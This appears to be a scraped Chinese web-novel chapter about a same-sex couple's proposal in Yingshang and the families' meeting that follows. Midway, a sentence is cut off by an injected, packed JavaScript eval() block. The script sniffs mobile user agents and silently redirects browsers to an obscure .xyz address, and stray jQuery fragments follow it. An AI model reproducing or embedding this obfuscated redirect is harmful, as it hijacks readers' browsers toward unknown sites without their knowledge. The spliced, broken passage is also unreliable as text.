高铁列车从北京南站驶出，一路向南穿越大片麦浪时，江屿澈正靠在温予澜肩头看窗外。金黄的麦穗被风掀起波浪，远处的淮水像条银带，在阳光下闪着柔亮的光。


    温予澜从口袋里摸出耳机，分了一只塞进江屿澈耳孔。播放列表里只有一首歌在循环——是他自己剪的《晴天》降调版，尾声处混着一段轻微的心跳声，是上次在密室里偷偷录下的江屿澈的心跳。


    “还有40分钟到颍上。”温予澜指尖摩挲着江屿澈无名指上的对戒，银圈被体温焐得温热，“紧张吗？”


    江屿澈侧过头，耳骨上的银钉在车窗透进来的光里闪了下，像落了颗碎星。“有点，”他诚实地点头，指尖却勾住温予澜的衣角往自己这边拽了拽，声音低得只有两人能听见，“但更多是期待。毕竟是天蝎一生一次的低头，得郑重些。”


    温予澜被他逗笑，抬手揉了揉他的头发，指腹蹭过他发顶的软毛：“不用低头，我给你递台阶。”江屿澈没接话，只是把脸埋得更深，鼻尖蹭着温予澜的衬衫领口——上面有他熟悉的桂花洗衣液味，像提前把颍上的秋天揣在了身上。


    外婆家的小院藏在颍上老城区的青石巷深处。推开斑驳的木门时，江屿澈愣了愣——院角的枇杷树比记忆里高了一大截，枝桠都快伸到屋檐了，而廊下那盏15瓦的月亮灯还挂在原处，玻璃罩上蒙着层薄灰，却依旧透着暖黄的光。


    “先别进屋里。”温予澜攥着他的手往巷口拽，指尖带着点微颤的雀跃。江屿澈跟着他走，没几步就顿住了脚——巷口的小卖部竟变回了几年的模样：褪色的红砖墙，门口摆着台老旧的冰柜，柜顶悬着盏昏黄的黄灯泡，甚至连墙上挂着的旧收音机都在，正断断续续哼着十年前的老歌。


    “你……”江屿澈的鼻尖突然涌上一股熟悉的甜香，是桂花汽水的味道，眼眶瞬间就热了。


    温予澜牵着他走到冰柜前，像变魔术似的拉开柜门——里面没有冰棒，整整齐齐码着19罐月亮汽水。每罐拉环上都系着条橙色丝线，线尾挂着张小照片：有七岁那年初遇时，两个小孩蹲在枇杷树下分糖的样子；有高中时温予澜替江屿澈挡阳光的侧脸；还有上周在出租屋，两人十指相扣对着镜子拍的合照，背景里的日历正好翻到“同居731天”。


    “从七岁到二十四岁，”温予澜拿起最上面一罐，照片上是江屿澈刚换牙时歪嘴笑的模样，“差一罐就凑齐二十年了，等婚礼那天补。”


    夜风绕过枇杷树的枝桠，吹得廊下的月亮灯轻轻晃。温予澜拉开最后一罐汽水，“呲啦”一声，细密的汽泡翻涌上来，带着清甜的桂花味。


    他突然单膝蹲下身，像十年前那个把糖纸塞进小男孩手里的少年，仰头望着江屿澈。夕阳的余晖落在他睫毛上，投下一小片温柔的阴影：“小十一，当年我请你喝月亮汽水，你说要陪我一辈子。”


    江屿澈的指尖猛地收紧，攥得掌心发疼。


    “今天，我正式下单——”温予澜从口袋里掏出一只掌心大的玻璃罐，里面装满了折叠好的橙色糖纸，都是这些年攒的，顶端压着一枚戒指，“一辈子不够，想续费到下辈子。”


    那是枚铂金素圈，内圈刻着「?∞」，外圈磨砂出极细的波浪，像淮水的纹路。江屿澈认得这纹路——去年冬天温予澜总在草稿纸上画，当时他问起，温予澜只说“画着玩”。


    江屿澈的手指在发抖，却努力稳住声音，像在谈一场重要的合同：“合同条款呢？”


    温予澜笑了，从另一只口袋抽出一张A4纸，上面写满了他的字：


    1.有效期：无限循环


    2.日常义务：每天一句喜欢，每月一次约会，每年一次回颍上


    3.违约惩罚：由违约方负责给对方买一辈子桂花汽水


    落款处，温予澜已经签了名，旁边空着一行，留给江屿澈。


    江屿澈没接温予澜递来的笔，反而蹲下身与他平视。晚风把他的头发吹得微乱，眼里却亮得惊人：“条款再加一条。”


    “什么？”


    “无论宇宙多大，我的半径始终只装得下你。”他伸手拿过那枚戒指，主动推进温予澜的无名指，又把另一枚递过去，指尖轻轻碰了碰他的手背，“帮我戴。”


    温予澜的指尖也在抖，他捏起戒指，小心翼翼地套进江屿澈的指根。银圈贴上皮肤的瞬间，两人都松了口气，像完成了一场等了许多年的仪式。


    枇杷树后突然传来轻响，江屿澈回头，看见外婆端着两碗酒酿桂花圆子走出来，笑得眼角堆起褶子：“当年我就说这俩娃会长长久久，没说错吧？”


    她把碗放在石桌上，圆子浮在甜汤里，裹着桂花碎，像两轮小小的月亮。“戒指我托人打的，”外婆用围裙擦了擦手，指腹点了点戒指上的水纹，“淮河水纹，一辈子流不完的。”


    温予澜和江屿澈同时起身，一人一边抱住外婆。江屿澈把脸埋在外婆肩头，声音哽咽：“谢谢外婆。”


    “谢啥，”外婆拍了拍他的背，又拍了拍温予澜的，“快吃圆子，凉了就不甜了。”


    就在这时，温予澜提前准备的灯串突然亮了。橙黄的暖光从巷头铺到巷尾，一路蜿蜒着绕过高墙和老槐树，像把十年光阴都连成了一条星河。


    街坊邻居们纷纷探出窗，有鼓掌的，有吹口哨的，还有个阿姨从楼上撒下一把玫瑰花瓣，红的粉的落在两人肩头。张栖迟和许安安举着横幅从拐角冲出来，横幅上写着：【恭喜蟹老板成功捕获天蝎！】横幅下还挂了串小灯泡，亮起来竟是只张着钳子的橙色螃蟹。


    “你们怎么来了？”江屿澈又惊又喜。


    “温予澜上周就约我们了，”张栖迟撞了撞他的胳膊，挤眉弄眼，“说要给你个‘全巷见证大惊喜’。”许安安在旁边点头，手里还举着相机：“我负责拍照，给你们存证。”


    远处的八里河大桥突然升空一束冷焰火，在夜空中炸开，拼成个巨大的“?”。紧接着，第二束、第三束接连升空，最后炸成“MARRYME”的字样，亮得晃眼。


    江屿澈仰头望着，眼泪终于忍不住落下来。温予澜用指腹替他擦泪，指尖蹭过他发烫的脸颊：“别哭，今晚的月亮汽水还没喝完。”他举起手里的汽水罐，与江屿澈的轻轻碰了下。


    “叮”的一声脆响，汽泡炸开，溅起细小的水珠，像一场微型的桂花雨。江屿澈含着嘴里的汽泡，声音带着点含糊的颤，却无比清晰：“我愿意。”


    温予澜俯身吻住他，唇齿间都是桂花汽水的甜。巷子里的掌声和笑声混在一起，被晚风卷着，飘得很远。


    灯串一直亮到零点，19罐汽水喝得只剩空罐，两人指尖的戒指却越发明亮。温予澜把江屿澈打横抱起，踏过满地桂花花瓣，走进外婆家的小院。


    门关上的那一刻，他低头吻了吻江屿澈耳骨上的银钉，声音温柔得像淮河的晚风：“小十一，余生请多指教。”


    江屿澈环住他的脖子，把脸贴在他胸口，听着他有力的心跳，轻轻“嗯”了一声。


    ——颍上晚风作证，求婚成功。


    第二天清晨颍上五里湖


    薄雾还没散，五里湖的湖面像面刚擦干净的镜子，映着岸边的垂柳。温予澜牵着江屿澈沿湖堤慢慢走，戒指在晨光里闪出细碎的银光。


    “下一步，见家长。”温予澜晃了晃两人相扣的手，语气轻松得像约着去看场电影。


    江屿澈的耳尖却“唰”地红了，脚尖踢着路边的小石子：“我妈……可能会问彩礼。”


    温予澜笑出声，捏了捏他的指尖：“月亮汽水一箱够不够？不够就两箱。”


    江屿澈抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208030|181328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脚踢他小腿，却没用力：“认真点。”


    “放心。”温予澜把人拉进怀里，让他靠在自己胸口，“我连外婆都搞定了，还怕你爸妈？大不了就说，我把自己当彩礼送过去，买一送一辈子的那种。”


    江屿澈被他逗笑，抬头时看见湖面的雾慢慢散了，阳光落在水面上，像撒了把碎金。


    上午江家小院


    江家小院早就收拾得干干净净。江妈妈一早把院子扫了三遍，桂花树下摆了张长桌，桌上是刚蒸好的蟹黄汤包，皮薄得透亮，汤汁在里面晃，旁边还温着一壶碧螺春。


    温予澜进门时手里拎着个竹篮，先递上礼物：一盒外婆亲手腌的桂花酱，玻璃罐里装得满满当当；两瓶复刻的月亮汽水，罐身贴着“?”和“X·J”的贴纸；还有一只小小的丝绒盒子，里面是枚翡翠平安扣，用红线系着，玉质温润得像淮河水养大的月亮。


    江妈妈愣了两秒，接过盒子时指尖碰了碰平安扣，笑着叹了口气：“小温有心了。”


    江爸爸从屋里出来，手里拎着两瓶泸州老窖，脸上没什么表情，语气却软：“听说你喜欢桂花？自家酿的桂花酒，走，陪我喝两杯。”


    温予澜刚想推辞，江屿澈已经替他端起杯子，杯沿碰了碰江爸爸的碗：“爸，他酒量差，我陪您喝。”


    江爸爸眯眼笑起来，眼角的褶子舒展开：“行，儿子护得紧。”


    下午温家老宅


    温家老宅的院子里飘着饭菜香。外婆把压箱底的绣花桌布铺在圆桌上，摆了满满一桌颍上特色：板鸭油亮，酱豆子红得诱人，酒酿圆子里还浮着桂花。


    温爸爸是航天工程师，平时沉默寡言，见到江屿澈却先开了口，目光落在他耳骨钉上：“耳骨钉不错，北航还是清华？”


    江屿澈下意识挺直背：“清华数理基科，今年绩点4.0。”


    温爸爸点点头，从口袋里摸出个红包推过去：“改口费，提前给。”


    江屿澈愣住，手悬在半空没敢接。温予澜在桌下捏了捏他的手指，小声：“收下，我爸难得大方。”


    外婆笑眯眯地夹了只最大的酱鸭腿放进江屿澈碗里：“孩子多吃点，长力气，以后好抱重孙。”


    江屿澈被呛得直咳，温予澜一边给他顺背一边笑：“外婆，顺序错了，先领证。”


    外婆挥挥筷子：“先办酒也行，我黄道吉日都看好啦！下周六就不错！”


    晚饭后管仲老街


    两家人并肩走在管仲老街的石板路上，路灯把影子拉得老长。温妈妈拉着江妈妈的手说：“孩子们喜欢就好，彩礼走个过场，咱不讲究。”


    江妈妈笑：“那我们就陪嫁一套小院子，离五里湖近，周末回来度假。”


    长辈们在前面聊得热络，温予澜和江屿澈在后面十指相扣慢慢走。温予澜突然停下脚步，指着天边：“看，英仙座流星雨的预告。”


    江屿澈抬头，夜空澄澈得像块黑丝绒，一条淡淡的银带横跨天际。“下一场流星雨是8月12号，”温予澜侧头看他，眼里映着星光，“我们把婚期写进去，好不好？”


    江屿澈眨掉眼角的水汽，重重点头：“好。”


    日历翻到20xx年8月12日，空白页上多了一行手写大字：【距婚礼365天——开始攒桂花、汽水和心跳。】


    下面贴着张便利贴：【今日任务：一起给外婆的枇杷树挂上365颗小灯，每天点亮一颗，直到婚礼清晨。】


    温予澜踩着梯子往枇杷树枝桠上挂灯串，江屿澈在下面递灯珠，暖黄的灯光落在两人脸上，像把未来的每一天都提前彩排了一遍。外婆从窗口探出头：“慢点挂，别摔着！”


    温予澜低头对江屿澈笑，眼里的光比灯还亮。


    ——家长见面，婚期锁定，余生请多指教。